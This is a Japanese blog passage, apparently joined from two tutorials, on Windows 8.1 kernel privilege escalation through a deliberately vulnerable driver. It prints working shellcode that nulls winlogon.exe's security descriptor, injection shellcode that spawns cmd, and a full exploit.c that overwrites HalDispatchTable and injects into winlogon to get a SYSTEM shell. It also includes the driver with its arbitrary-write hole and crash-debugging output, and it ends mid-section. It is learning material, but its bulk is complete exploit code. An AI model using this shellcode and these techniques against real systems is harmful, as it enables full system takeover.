上において、SecurityDescriptorはこのプロセスへのアクセス制限に関する情報(ACL)を表している。 通常、System権限で動作しているプロセスはOpenProcess関数で開くことができないが、SecurityDescriptorをNULLに書き換えることでプロセスを開きメモリを読み書きすることが可能になる。 つまり、コードインジェクションにより任意のコードをSystem権限で実行できるようになる。

そこで、System権限で動作しているwinlogon.exeのSecurityDescriptorをNULLに書き換えるシェルコードを書いてみると次のようになる。

; nullacls.asm
.386
.model flat, stdcall
.code

start:
    pushad

    assume fs:nothing
    mov eax, fs:[124h]                   ; _KTHREAD
    mov eax, [eax+80h]                   ; _EPROCESS
    add eax, 0b8h                        ; _EPROCESS.ActiveProcessLinks

search_process:
    mov eax, [eax]                       ; Flink
    cmp dword ptr [eax+0b8h], 6c6e6977h  ; ImageFileName, "winl" for winlogon.exe
    jne search_process

    mov dword ptr [eax-0bch], 0          ; SecurityDescriptor

    popad
    ret

end start

上のコードでは、EPROCESS構造体のImageFileNameが「winl」で始まっているものをwinlogon.exeとみなし、SecurityDescriptorをNULLに書き換える。 また、このコードが関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。

シェルコードをアセンブルし、C文字列に変換すると次のようになる。

>ml nullacls.asm /link /subsystem:console

>dumpbin /rawdata nullacls.exe
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file nullacls.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00  `d¡$..........¸.
  00401010: 00 00 8B 00 81 B8 B8 00 00 00 77 69 6E 6C 75 F2  .....¸¸...winluò
  00401020: C7 80 44 FF FF FF 00 00 00 00 61 C3              Ç.Dÿÿÿ....aÃ

  Summary

        1000 .text

>dumpbin /rawdata nullacls.exe | powershell -ex remotesigned -f getsc.ps1
\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3

コードインジェクションで実行させるシェルコードを書いてみる

次に、コードインジェクションで実行させるシェルコードを用意する。 「Windowsで電卓を起動するシェルコードを書いてみる」を参考に、コマンドプロンプトを起動するシェルコードを書くと次のようになる。

; injectcode.asm
.386
.model flat, stdcall
.code

start:
    cld
    jmp main

api_call:
    assume fs:nothing
    pushad
    xor eax, eax
    mov eax, fs:[eax+30h]   ; PEB
    mov eax, [eax+0ch]      ; Ldr
    mov esi, [eax+14h]      ; InMemoryOrderModuleList
next_mod:
    lodsd                   ; next _LDR_DATA_TABLE_ENTRY
    mov [esp+1ch], eax      ; store eax
    mov ebp, [eax+10h]      ; DllBase
    mov eax, [ebp+3ch]      ; IMAGE_DOS_HEADER.e_lfanew
    mov edx, [ebp+eax+78h]  ; IMAGE_EXPORT_DIRECTORY
    add edx, ebp
    mov ecx, [edx+18h]      ; NumberOfNames
    mov ebx, [edx+20h]      ; AddressOfNames
    add ebx, ebp
next_name:                  ; while (--NumberOfNames)
    jecxz name_not_found
    dec ecx
    mov esi, [ebx+ecx*4]    ; ptr = AddressOfNames[NumberOfNames]
    add esi, ebp
    xor edi, edi            ; hash = 0
    xor eax, eax
compute_hash_loop:          ; while ((c = *(ptr++)) != 0)
    lodsb
    test al, al
    jz compare_hash
    ror edi, 0dh            ; hash += ror(c, 0x0d)
    add edi, eax
    jmp compute_hash_loop
compare_hash:
    cmp edi, [esp+24h]      ; compare with api hash
    jnz next_name
    mov ebx, [edx+24h]      ; AddressOfNameOrdinals
    add ebx, ebp
    mov cx, [ebx+ecx*2]     ; y = AddressOfNameOrdinals[x]
    mov ebx, [edx+1ch]      ; AddressOfFunctions
    add ebx, ebp
    mov eax, [ebx+ecx*4]    ; AddressOfFunctions[y]
    add eax, ebp
    mov [esp+1ch], eax      ; store eax
    popad
    pop ecx                 ; remove api hash from the stack
    pop edx
    push ecx
    jmp eax                 ; jump to api function
name_not_found:
    mov esi, [esp+1ch]      ; update eax
    jmp next_mod

main:
    pushad
    mov ebp, esp

    push 00646d63h          ; "cmd"
    mov eax, esp
    push 1
    push eax
    push 0e8afe98h          ; WinExec
    call api_call

    mov esp, ebp
    popad
    ret

end start

上のコードはCreateRemoteThread関数により関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。

シェルコードをアセンブルし、C文字列に変換すると次のようになる。

>ml injectcode.asm /link /subsystem:console

>dumpbin /rawdata injectcode.exe
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file injectcode.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14  üëg`3Àd.@0.@..p.
  00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03  ­.D$..h..E<.T(x.
  00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03  Õ.J..Z .Ýã9I.4..
  00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB  õ3ÿ3À¬.Àt.ÁÏ..øë
  00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B  ô;|$$uâ.Z$.Ýf..K
  00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59  .Z..Ý....Å.D$.aY
  00401060: 5A 51 FF E0 8B 74 24 1C EB A6 60 8B EC 68 63 6D  ZQÿà.t$.ë¦`.ìhcm
  00401070: 64 00 8B C4 6A 01 50 68 98 FE 8A 0E E8 82 FF FF  d..Äj.Ph.þ..è.ÿÿ
  00401080: FF 8B E5 61 C3                                   ÿ.åaÃ

  Summary

        1000 .text

>dumpbin /rawdata injectcode.exe | powershell -ex remotesigned -f getsc.ps1
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3

エクスプロイトコードを書いてみる

「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様にHalDispatchTableの書き換えを行い、Nulling out ACLs Shellcodeの実行とコードインジェクションを行うエクスプロイトコードを書くと次のようになる。

/* exploit.c */
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef enum {
    SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct {
    PVOID Reserved1;
    PVOID Reserved2;
    PVOID ImageBaseAddress;
    ULONG ImageSize;
    ULONG Flags;
    WORD Id;
    WORD Rank;
    WORD w018;
    WORD NameOffset;
    BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct {
    ULONG ModulesCount;
    SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

DWORD findPid(char *name)
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    Process32First(hProcessSnap, &pe32);
    do {
        if (_stricmp(pe32.szExeFile, name) == 0) {
            return pe32.th32ProcessID;
        }
    } while (Process32Next(hProcessSnap, &pe32));

    return -1;
}

int main()
{
    PSYSTEM_MODULE_INFORMATION moduleInfo;
    ULONG len;
    DWORD BytesReturned;
    ULONG dummy;

    HMODULE ntdll = GetModuleHandle("ntdll");
    FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");
    FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile");

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len);
    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL);
    printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress);

    PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress;

    HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe");
    PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
    HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase;
    printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable);

    char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3";
    LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(rwxMemory, shellcode, sizeof(shellcode));

    struct ioctl_aaw_arg arg;
    arg.addr = (CHAR *)HalDispatchTable + 4;
    arg.value = (DWORD)rwxMemory;

    HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);

    NtQueryIntervalProfile(2, &dummy);

    PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread");
    KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase;

    arg.value = (DWORD)KeGetCurrentThread;
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);
    CloseHandle(hDevice);

    char injectcode[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3";

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, findPid("winlogon.exe"));
    rwxMemory = VirtualAllocEx(hProcess, NULL, sizeof(injectcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, rwxMemory, (void *)injectcode, sizeof(injectcode), NULL);
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rwxMemory, NULL, 0, NULL);
    CloseHandle(hProcess);

    return 0;
}

findPid関数はCreateToolhelp32Snapshot関数を使い、引数に与えた実行ファイル名を持つプロセスのPIDを返す関数である。 コードインジェクションを行うには、VirtualAllocEx関数、WriteProcessMemory関数で対象となるプロセスに実行可能メモリを確保しコードを書き込んだ後、CreateRemoteThread関数をこのアドレスを指定して呼び出せばよい。

エクスプロイトコードをコンパイルし実行すると、コマンドプロンプトが起動し次のスクリーンショットのようになる。

f:id:inaz2:20150917215622p:plain

whoamiコマンドの結果がnt authority\systemとなっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。

関連リンク

Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる

Windowsにおいて、任意アドレス書き換え(arbitrary address write)の脆弱性があるデバイスドライバを作り、この脆弱性を利用した権限昇格をやってみる。

環境

Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015

>systeminfo
OS Name:                   Microsoft Windows 8.1 Enterprise Evaluation
OS Version:                6.3.9600 N/A Build 9600
OS Build Type:             Multiprocessor Free
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz

>ml
Microsoft (R) Macro Assembler Version 14.00.23026.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0

脆弱性のあるデバイスドライバを書いてみる

まず、「Windowsで簡単なデバイスドライバを書いてみる」と同様の手順で、脆弱性のあるデバイスドライバを書いてみる。

/* vulndriver.c */
#include <wdm.h>
#include <windef.h>
#pragma warning(disable: 4100)

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH handleUnsupported;
DRIVER_DISPATCH handleIOCTL;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING DeviceName, DosDeviceName;
    PDEVICE_OBJECT DeviceObject;

    RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln");
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");

    IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    IoCreateSymbolicLink(&DosDeviceName, &DeviceName);

    for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = handleUnsupported;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL;

    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING DosDeviceName;
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");
    IoDeleteSymbolicLink(&DosDeviceName);
    IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    return STATUS_NOT_SUPPORTED;
}

NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
    DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    struct ioctl_aaw_arg *arg;

    switch (ioControlCode) {
    case IOCTL_AAW:
        arg = (struct ioctl_aaw_arg *)inputBuffer;
        *(arg->addr) = arg->value;
        break;
    }

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Irp->IoStatus.Status;
}

上のコードは、\\.\Vulnというデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。

プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成したら、scコマンドを使ってこれをロードしておく。

HalDispatchTableの書き換えによるEIP奪取

任意アドレス書き換えを使い書き換える場所として、HalDispatchTableが広く知られている。 カーネルデバッグを用いて、内部APIであるNtQueryIntervalProfile関数の内容を調べてみると、次のようになる。

kd> u nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
81b89ada 6a0c            push    0Ch
81b89adc 686896a381      push    offset nt!RtlpSparseBitmapCtxPrepareRanges+0x52
24 (81a39668)
81b89ae1 e8fa29deff      call    nt!_SEH_prolog4 (8196c4e0)
81b89ae6 64a124010000    mov     eax,dword ptr fs:[00000124h]
81b89aec 8a985a010000    mov     bl,byte ptr [eax+15Ah]
81b89af2 84db            test    bl,bl
81b89af4 741b            je      nt!NtQueryIntervalProfile+0x37 (81b89b11)
81b89af6 8365fc00        and     dword ptr [ebp-4],0
kd> u
(snip)
kd> u
nt!NtQueryIntervalProfile+0x3a:
81b89b14 e833000000      call    nt!KeQueryIntervalProfile (81b89b4c)
81b89b19 8bc8            mov     ecx,eax
81b89b1b 84db            test    bl,bl
81b89b1d 7421            je      nt!NtQueryIntervalProfile+0x66 (81b89b40)
81b89b1f c745fc01000000  mov     dword ptr [ebp-4],1
81b89b26 8b450c          mov     eax,dword ptr [ebp+0Ch]
81b89b29 8908            mov     dword ptr [eax],ecx
81b89b2b c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
kd> u nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
81b89b4c 8bff            mov     edi,edi
81b89b4e 55              push    ebp
81b89b4f 8bec            mov     ebp,esp
81b89b51 83ec14          sub     esp,14h
81b89b54 83f901          cmp     ecx,1
81b89b57 7426            je      nt!KeQueryIntervalProfile+0x33 (81b89b7f)
81b89b59 8d45fc          lea     eax,[ebp-4]
81b89b5c 894dec          mov     dword ptr [ebp-14h],ecx
kd> u
nt!KeQueryIntervalProfile+0x13:
81b89b5f 50              push    eax
81b89b60 8d45ec          lea     eax,[ebp-14h]
81b89b63 50              push    eax
81b89b64 6a10            push    10h
81b89b66 6a01            push    1
81b89b68 ff1554bfa481    call    dword ptr [nt!HalDispatchTable+0x4 (81a4bf54)]
81b89b6e 85c0            test    eax,eax
81b89b70 7814            js      nt!KeQueryIntervalProfile+0x3a (81b89b86)
kd> dps nt!HalDispatchTable
81a4bf50  00000004
81a4bf54  8184b29a hal!HaliQuerySystemInformation
81a4bf58  8184b54c hal!HalpSetSystemInformation
81a4bf5c  81bd9cda nt!xHalAllocatePmcCounterSet
81a4bf60  00000000
81a4bf64  8193b33a nt!HalExamineMBR
81a4bf68  81b955d6 nt!IoReadPartitionTable
81a4bf6c  81b883a8 nt!IoSetPartitionInformation
81a4bf70  81c7c2db nt!IoWritePartitionTable
81a4bf74  81963dde nt!xHalHandlerForBus
81a4bf78  8195d91a nt!PpmIdleDefaultCancel
81a4bf7c  8195d91a nt!PpmIdleDefaultCancel
81a4bf80  8184d456 hal!HaliInitPnpDriver
81a4bf84  8184cc78 hal!HaliInitPowerManagement
81a4bf88  8181d19a hal!HaliGetDmaAdapter
81a4bf8c  8184d2e8 hal!HaliGetInterruptTranslator
81a4bf90  81bd9d5a nt!xHalStartMirroring
81a4bf94  8195d8da nt!PoCancelDeviceNotify
81a4bf98  8195d90c nt!ext_ms_win_ntos_ksigningpolicy_l1_1_0_SeQuerySigningPolicyExt
81a4bf9c  8184d4bc hal!HalpEndOfBoot
81a4bfa0  8195d90c nt!ext_ms_win_ntos_ksigningpolicy_l1_1_0_SeQuerySigningPolicyExt
81a4bfa4  81810648 hal!HalAcpiGetTableDispatch
81a4bfa8  81821f4e hal!HaliSetPciErrorHandlerCallback
81a4bfac  00000000
81a4bfb0  00000001
81a4bfb4  00000002
81a4bfb8  819e1a28 nt!KseDsCallbackHookDriverStartIo
81a4bfbc  00000000
81a4bfc0  00000001
81a4bfc4  00000003
81a4bfc8  819e1a59 nt!KseDsCallbackHookDriverUnload
81a4bfcc  00000000

上の結果から、NtQueryIntervalProfile内でKeQueryIntervalProfileが呼ばれ、この中でnt!HalDispatchTable+0x4にあるhal!HaliQuerySystemInformationのポインタをcallしていることがわかる。 したがって、nt!HalDispatchTable+0x4にあるアドレスを書き換えNtQueryIntervalProfile関数を呼ぶことで、任意のアドレスにジャンプさせることができる。

Visual Studioを起動し、テストコードを書いてみる。 プロジェクトのテンプレートは「Visual C++」→「General」→「Empty Project」を用いればよい。

/* test.c */
#include <windows.h>
#include <stdio.h>

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef enum {
    SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct {
    PVOID Reserved1;
    PVOID Reserved2;
    PVOID ImageBaseAddress;
    ULONG ImageSize;
    ULONG Flags;
    WORD Id;
    WORD Rank;
    WORD w018;
    WORD NameOffset;
    BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct {
    ULONG ModulesCount;
    SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

int main()
{
    PSYSTEM_MODULE_INFORMATION moduleInfo;
    ULONG len;
    DWORD BytesReturned;
    ULONG dummy;

    HMODULE ntdll = GetModuleHandle("ntdll");
    FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");
    FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile");

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len);
    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL);
    printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress);

    PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress;

    HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe");
    PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
    HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase;
    printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable);

    struct ioctl_aaw_arg arg;
    arg.addr = (CHAR *)HalDispatchTable + 4;
    arg.value = 0x41414141;

    HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);

    NtQueryIntervalProfile(2, &dummy);

    return 0;
}

上のコードにあるように、nt!HalDispatchTableのアドレスは次のようにして計算することができる。

  1. NtQuerySystemInformation関数を用い、システムモジュールの情報を取得する
    • 1回目の呼び出しで必要なバッファサイズを取得し、確保したメモリに対して2回目の呼び出しを行う
  2. 取得した情報にあるモジュールリストの0番目のデータから、ntoskrnl.exe(カーネルイメージ)がロードされているカーネルアドレスを取得する
    • シンボルnt!HalDispatchTableはntoskrnl.exeにてエクスポートされている
  3. ユーザ空間でntoskrnl.exeをロードし、nt!HalDispatchTableのあるアドレスを調べる
  4. ユーザ空間におけるntoskrnl.exeのベースアドレスからnt!HalDispatchTableまでのオフセットをカーネルアドレスに加えることで、カーネル内での実際のアドレスを計算する

カーネルデバッグを行った状態で上のコードを実行すると、システムがクラッシュし次のような出力が得られる。

*** Fatal System Error: 0x0000001e
                       (0xC0000005,0x41414141,0x00000008,0x41414141)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 8 9600 x86 compatible target at (Tue Sep 15 21:48:54.344 20
15 (UTC + 9:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
..................
Loading User Symbols
..............
Loading unloaded module list
.......
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck 1E, {c0000005, 41414141, 8, 41414141}

*** WARNING: Unable to verify checksum for test.exe
*** ERROR: Module load completed but symbols could not be loaded for test.exe

Probably caused by : ntkrpamp.exe ( nt!KiFatalExceptionHandler+1a )

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
8196ca14 cc              int     3
kd> 

!analyze -vを用いて、クラッシュの原因を調べると次のようになる。

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

KMODE_EXCEPTION_NOT_HANDLED (1e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 41414141, The address that the exception occurred at
Arg3: 00000008, Parameter 0 of the exception
Arg4: 41414141, Parameter 1 of the exception

Debugging Details:
------------------


WRITE_ADDRESS:  41414141

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

FAULTING_IP:
+65905f829693d56
41414141 ??              ???

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

BUGCHECK_STR:  0x1E_c0000005_X

DEFAULT_BUCKET_ID:  WIN8_DRIVER_FAULT

PROCESS_NAME:  test.exe

CURRENT_IRQL:  0

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) x86fre

EXCEPTION_RECORD:  afac3b98 -- (.exr 0xffffffffafac3b98)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000008
   Parameter[1]: 41414141
Attempt to execute non-executable address 41414141

TRAP_FRAME:  afac3c74 -- (.trap 0xffffffffafac3c74)
ErrCode = 00000010
eax=afac3cfc ebx=81b98a01 ecx=00000002 edx=81b98ada esi=00a0fcd0 edi=00000002
eip=41414141 esp=afac3ce8 ebp=afac3d10 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
41414141 ??              ???
Resetting default scope

LAST_CONTROL_TRANSFER:  from 819e8f17 to 8196ca14

STACK_TEXT:
afac31e4 819e8f17 00000003 82b6a50f 00000065 nt!RtlpBreakWithStatusInstruction
afac3238 819e8a31 81a7f138 afac3638 afac366c nt!KiBugCheckDebugBreak+0x1f
afac360c 8196b5c6 0000001e c0000005 41414141 nt!KeBugCheck2+0x676
afac3630 8196b4fd 0000001e c0000005 41414141 nt!KiBugCheck2+0xc6
afac3650 819e6bc6 0000001e c0000005 41414141 nt!KeBugCheckEx+0x19
afac366c 819818b2 afac3b98 81a72280 afac3760 nt!KiFatalExceptionHandler+0x1a
afac3690 81981884 afac3b98 81a72280 afac3760 nt!ExecuteHandler2+0x26
afac3750 818fefb9 afac3b98 afac3760 00010037 nt!ExecuteHandler+0x24
afac3b7c 8197d396 afac3b98 00000000 afac3c74 nt!KiDispatchException+0x101
afac3be8 8197fbdb 00000000 00000000 00000000 nt!KiDispatchTrapException+0x4e
afac3be8 41414141 00000000 00000000 00000000 nt!KiTrap0E+0x1a7
WARNING: Frame IP not in any known module. Following frames may be wrong.
afac3ce4 81b98b6e 00000001 00000010 afac3cfc 0x41414141
afac3d10 81b98b19 82b6aa73 00000002 00a0fcd0 nt!KeQueryIntervalProfile+0x22
afac3d44 8197c657 00000002 00a0fe04 00a0fe34 nt!NtQueryIntervalProfile+0x3f
afac3d44 7737d370 00000002 00a0fe04 00a0fe34 nt!KiSystemServicePostCall
00a0fcbc 7737ad4a 008a1965 00000002 00a0fe04 ntdll!KiFastSystemCallRet
00a0fcc0 008a1965 00000002 00a0fe04 008a104b ntdll!NtQueryIntervalProfile+0xa
00a0fe34 008a220e 00000001 00b1d340 00b20790 exploit+0x11965
00a0fe48 008a205a 289a9fe3 008a104b 008a104b exploit+0x1220e
00a0fea0 008a1eed 00a0feb0 008a2228 00a0fec4 exploit+0x1205a
00a0fea8 008a2228 00a0fec4 74f64198 7fe46000 exploit+0x11eed
00a0feb0 74f64198 7fe46000 74f64170 5d14e2df exploit+0x12228
00a0fec4 773632d1 7fe46000 5f510ea9 00000000 KERNEL32!BaseThreadInitThunk+0x24
00a0ff0c 7736329f ffffffff 7738f08b 00000000 ntdll!__RtlUserThreadStart+0x2b
00a0ff1c 00000000 008a104b 7fe46000 00000000 ntdll!_RtlUserThreadStart+0x1b

(snip)

上の結果から、実際に0x41414141にジャンプしクラッシュしていることが確認できる。

Replace Token Shellcode

Windowsでの権限昇格では、プロセスの権限を表すTokenをSystemプロセスからコピーする手法が広く知られている。

カーネルモードではfsセグメントにKPCR構造体が置かれており、この構造体から次のようにしてプロセスリストまでたどることができる。

kd> dg fs
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 81a70000 000047d8 Data RW Ac 0 Bg By P  Nl 00000493
kd> dt _KPCR 81a70000
ntdll!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : 0xb5af0924 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : (null)
   +0x008 MxCsr            : 0x1f80
